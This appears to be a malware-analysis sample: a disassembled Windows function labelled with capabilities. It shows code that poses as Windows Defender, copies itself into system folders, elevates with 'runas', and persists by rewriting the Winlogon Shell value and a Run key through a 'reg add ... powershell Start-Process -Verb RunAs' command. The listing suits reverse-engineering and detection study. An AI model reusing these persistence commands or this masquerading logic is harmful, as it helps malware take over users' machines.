Function at 0x14001b1d0
Capabilities:
Create directory
Create process on windows
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x14002b028]
xor rax, rsp
mov qword [rbp + 0x298], rax
xor r12d, r12d
lea r15, [0x14002b088]
mov rdi, qword [0x14002b0a0]
mov rcx, r15
mov rsi, qword [0x14002b088]
cmp rdi, 0x10
cmovae rcx, rsi
mov rbx, qword [0x14002b098]
cmp rbx, 0x1c
jne 0x14001b24b
mov r8, rbx
lea rdx, str.Service_Windows_Defender.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001b277
mov rcx, r15
cmp rdi, 0x10
cmovae rcx, rsi
cmp rbx, 0x1e
jne 0x14001c792
mov r8, rbx
lea rdx, str.Security_Microsoft_Service.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c792
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
movdqa xmm1, xmmword [0x140024860]
movdqu xmmword [rbp + 0x268], xmm1
mov byte [rbp + 0x258], r12b
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], 0xf
mov byte [rbp + 0x1d8], 0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rcx, r15
cmp rdi, 0x10
cmovae rcx, rsi
cmp rbx, 0x1c
jne 0x14001b370
mov r8, rbx
lea rdx, str.Service_Windows_Defender.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001b370
lea r9, str.Security_Microsoft_Service.exe
lea edx, [rbx + 2]
lea rcx, [rbp + 0x1d8]
call fcn.140001470
mov rax, qword [rbp + 0x128]
cmp rax, 0x32
jb 0x14001b35f
lea rbx, [rbp + 0x110]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x110]
mov qword [rbp + 0x120], 0x32
mov r8d, 0x32
lea rdx, str.C:WindowsSystem32Security_Microsoft_Service.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x32], 0
jmp 0x14001b40c
lea r9, str.C:WindowsSystem32Security_Microsoft_Service.exe
mov edx, 0x32
jmp 0x14001b400
mov rcx, r15
cmp rdi, 0x10
cmovae rcx, rsi
cmp rbx, 0x1e
jne 0x14001b40c
mov r8, rbx
lea rdx, str.Security_Microsoft_Service.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001b40c
lea r9, str.Service_Windows_Defender.exe
lea edx, [rbx - 2]
lea rcx, [rbp + 0x1d8]
call fcn.140001470
mov rax, qword [rbp + 0x128]
cmp rax, 0x46
jb 0x14001b3f4
lea rbx, [rbp + 0x110]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x110]
mov qword [rbp + 0x120], 0x46
mov r8d, 0x46
lea rdx, str.C:ProgramDataMicrosoftWindows_DefenderService_Windows_Defender.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x46], 0
jmp 0x14001b40c
lea r9, str.C:ProgramDataMicrosoftWindows_DefenderService_Windows_Defender.exe
mov edx, 0x46
lea rcx, [rbp + 0x110]
call fcn.140001470
mov rcx, qword [0x14002b178]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rcx
cmp rax, 9
jb 0x14001c7c8
lea rax, [0x14002b168]
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp - 0x48]
call fcn.14000e880
nop
mov r8d, 0x1c
lea rdx, str.AppDataLocalStoryStopReal
lea rcx, [rbp - 0x48]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x278], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x288], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14001b4e0
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b4db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b4db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x188]
call fcn.14000c820
mov rcx, rax
call fcn.1400027d0
test al, al
je 0x14001b56e
mov rax, qword [0x14002b080]
cmp rax, 3
jb 0x14001b556
lea rbx, [0x14002b068]
cmp rax, 0x10
cmovae rbx, qword [0x14002b068]
mov qword [reloc.OLEAUT32.dll_SysReAllocString], 3
mov r8d, 3
lea rdx, [0x14002284c]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
jmp 0x14001b56e
lea r9, [0x14002284c]
mov edx, 3
lea rcx, [0x14002b068]
call fcn.140001470
lea rcx, [0x14002b068]
cmp qword [0x14002b080], 0x10
cmovae rcx, qword [0x14002b068]
mov r8, qword [reloc.OLEAUT32.dll_SysReAllocString]
cmp r8, 2
jne 0x14001c712
lea rdx, [0x140022848]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c712
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x90]
call fcn.14000c820
mov rdx, rax
call fcn.140003600
cmp eax, 1
jge 0x14001b6bc
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
lea rdx, [rbp + 0x188]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14001b67f
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x70]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xf0]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140002a50
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x14001b67f
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b67a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c722
call fcn.14001e2dc
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x188]
call fcn.14000c820
mov rcx, rax
call fcn.140001ee0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r12
mov qword [rbp + 0x1d0], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c8], 0x27
mov qword [rbp + 0x1d0], 0x2f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_Filter]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024060]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140024070]
mov dword [rcx + 0x20], eax
movzx eax, word [0x140024074]
mov word [rcx + 0x24], ax
movzx eax, byte [0x140024076]
mov byte [rcx + 0x26], al
mov byte [rcx + 0x27], 0
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], r12
mov qword [rbp + 0x160], 0xf
mov ecx, 0x40
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], 0x3a
mov qword [rbp + 0x160], 0x3f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_FilterFilter_Service.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024088]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140024098]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x1400240a8]
movsd qword [rax + 0x30], xmm1
movzx eax, word [0x1400240b0]
mov word [rcx + 0x38], ax
mov byte [rcx + 0x3a], 0
lea rdx, [rbp + 0x188]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14001b85b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x148]
lea rcx, [rsp + 0x70]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xf0]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140002a50
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x14001b85b
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b856
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c729
call fcn.14001e2dc
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov ecx, 0x20
call fcn.14001e2a0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], 0x1e
mov qword [rbp + 0xe8], 0x1f
movups xmm0, xmmword [str.Security_Microsoft_Service.exe]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140023bf8]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [0x140023c00]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x140023c04]
mov word [rax + 0x1c], cx
mov byte [rax + 0x1e], 0
lea rdx, [rbp + 0xd0]
call fcn.140003600
mov r14d, eax
cmp qword [0x14002b0a0], 0x10
setae sil
mov rcx, r15
mov rdi, qword [0x14002b088]
cmovae rcx, rdi
mov rbx, qword [0x14002b098]
cmp rbx, 0x1e
jne 0x14001b916
mov r8, rbx
lea rdx, str.Security_Microsoft_Service.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001b94b
mov rcx, r15
test sil, sil
cmovne rcx, rdi
cmp rbx, 0x1c
jne 0x14001baf6
mov r8, rbx
lea rdx, str.Service_Windows_Defender.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001baf6
cmp r14d, 1
jge 0x14001baf6
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov ecx, 0x20
call fcn.14001e2a0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], 0x12
mov qword [rbp + 0xe8], 0x1f
movups xmm0, xmmword [str.Filter_Service.exe]
movups xmmword [rax], xmm0
movzx ecx, word [0x140023d10]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
lea rdx, [rbp + 0xd0]
call fcn.140003600
cmp eax, 1
jge 0x14001baf6
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rsi, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae rsi, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x158]
cmp rdi, r13
ja 0x14001c7c2
mov qword [rbp + 0xe8], 0xf
cmp rdi, 0x10
jae 0x14001ba2d
mov qword [rbp + 0xe0], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001bac8
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x14001ba3e
mov rbx, r13
jmp 0x14001ba4b
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14001ba95
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001c7ce
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x14001c730
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001baa4
test rcx, rcx
je 0x14001baa1
call fcn.14001e2a0
jmp 0x14001baa4
mov rax, r12
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd0]
call fcn.140001ee0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], 6
mov qword [rbp + 0x108], 0xf
mov eax, dword [str.STATUS]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1400229a0]
mov word [rbp + 0xf4], ax
mov byte [rbp + 0xf6], 0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x238]
call fcn.140005200
nop
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], 7
mov qword [rbp + 0xe8], 0xf
mov eax, dword [str.DISABLE]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x140022a4c]
mov word [rbp + 0xd4], ax
movzx eax, byte [0x140022a4e]
mov byte [rbp + 0xd6], al
mov byte [rbp + 0xd7], 0
lea rcx, [rbp + 0xd0]
call fcn.1400087c0
lea rcx, [rbp + 0x238]
mov r14, qword [rbp + 0x250]
cmp r14, 0x10
setae r15b
mov rsi, qword [rbp + 0x238]
cmovae rcx, rsi
mov r8, qword [rbp + 0x248]
cmp r8, 2
jne 0x14001bc3d
lea rdx, [0x140022a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001bc3d
lea rdx, str.DISABLE
lea rcx, [rbp + 0xb0]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140005200
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14001bc3d
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bc38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c737
call fcn.14001e2dc
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 0xf
mov word [rbp - 0x20], 0x31
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x18], 0xf
mov word [rbp], 0x31
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 1
mov qword [rbp + 0x38], 0xf
mov word [rbp + 0x20], 0x31
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0xf
mov word [rbp + 0x40], 0x31
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.14000e540
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rdi, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov rbx, qword [rsp + 0x50]
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], rbx
lea rax, [rsp + 0x50]
mov qword [rbp + 0xe0], rax
nop dword [rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14000c820
add rbx, 0x20
mov qword [rbp + 0xd8], rbx
add rdi, 0x20
lea rax, [rbp + 0x60]
cmp rdi, rax
jne 0x14001bd00
mov rdx, rbx
mov rcx, rbx
call fcn.14000dd80
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x50]
call fcn.140009530
nop
lea r9, [fcn.1400012b0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x20]
call fcn.14001e48c
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
mov ecx, 0x40
call fcn.14001e2a0
mov rbx, rax
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x228], 0x3a
mov qword [rbp + 0x230], 0x3f
movups xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023fe0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140023ff0]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140024000]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x140024008]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov ecx, 0x40
call fcn.14001e2a0
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x208], 0x3a
mov qword [rbp + 0x210], 0x3f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_FilterFilter_Service.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024088]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140024098]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x1400240a8]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x1400240b0]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
mov qword [rsp + 0x30], 0x3a
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 9
lea r9, str.reg_add__
lea rcx, [rbp + 0xf0]
call fcn.14000e880
nop
mov r8d, 0x58
lea rdx, str.___v__Shell___t_REG_SZ__d__explorer.exe__powershell__command__Start_Process__FilePath_
lea rcx, [rbp + 0xf0]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x1f8]
lea rcx, [rsp + 0x50]
call fcn.14000c700
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x19
lea rdx, str.__Verb_RunAs____f___nul
lea rcx, [rbp + 0xd0]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x180], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14001bf8d
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bf88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c73e
call fcn.14001e2dc
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14001bfe3
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bfde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c745
call fcn.14001e2dc
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14001c037
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c74c
call fcn.14001e2dc
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
lea rcx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rcx, qword [rbp + 0x168]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 4
mov qword [rbp - 0x78], 0xf
mov dword [rsp + 0x70], 0x4e414353
mov byte [rsp + 0x74], 0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], 0x23
mov qword [rbp - 0x58], 0x2f
movups xmm0, xmmword [str.MicrosoftWindowsWindows_Defender]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024540]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x140024550]
mov word [rax + 0x20], cx
movzx ecx, byte [0x140024552]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], 0
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x130]
call fcn.140005da0
nop
mov rbx, qword [rbp + 0x130]
mov rdi, qword [rbp + 0x138]
cmp rbx, rdi
je 0x14001c16d
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001c13e
mov rcx, qword [rbx]
cmp qword [rbx + 0x10], 0x1a
jne 0x14001c15b
mov r8d, 0x1a
lea rdx, str.Security_Microsoft_Service
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001c164
add rbx, 0x20
cmp rbx, rdi
jne 0x14001c131
cmp rbx, rdi
jne 0x14001c269
mov qword [rbp + 0xf8], r12
mov ecx, 0xc0
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x100], 0xb0
mov qword [rbp + 0x108], 0xbf
lea rax, [0x140000000]
lea rax, [rax + 0x24580]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov byte [rcx + 0xb0], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14001c262
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c25d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c753
call fcn.14001e2dc
mov rdi, qword [rbp + 0x138]
mov rbx, qword [rbp + 0x130]
cmp rbx, rdi
je 0x14001c2b1
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001c282
mov rcx, qword [rbx]
cmp qword [rbx + 0x10], 0x18
jne 0x14001c29f
mov r8d, 0x18
lea rdx, str.Service_Windows_Defender
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001c2a8
add rbx, 0x20
cmp rbx, rdi
jne 0x14001c275
cmp rbx, rdi
jne 0x14001c3b9
mov qword [rbp + 0xf8], r12
mov ecx, 0xd0
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x100], 0xc2
mov qword [rbp + 0x108], 0xcf
mov rdx, rax
lea rax, [0x140000000]
lea rax, [rax + 0x24660]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
sub rdx, 0xffffffffffffff80
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rdx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rdx + 0x40], ax
mov byte [rcx + 0xc2], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14001c3b9
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c3b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c75a
call fcn.14001e2dc
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x188]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], 3
mov qword [rbp + 0x108], 0xf
movzx eax, word [0x140022874]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140022876]
mov byte [rbp + 0xf2], al
mov byte [rbp + 0xf3], 0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a0], 0xf
mov byte [rbp + 0x188], 0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], 0x2d
mov qword [rbp + 0xe8], 0x2f
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023e78]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140023e88]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x140023e90]
mov dword [rax + 0x28], ecx
movzx ecx, byte [0x140023e94]
mov byte [rax + 0x2c], cl
mov byte [rax + 0x2d], 0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0xd0]
call fcn.140003bf0
nop
mov rcx, qword [rbp + 0x130]
test rcx, rcx
je 0x14001c55b
mov rdx, qword [rbp + 0x138]
call fcn.14000dd80
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c761
call fcn.14001e2dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r12
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x14001c59c
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
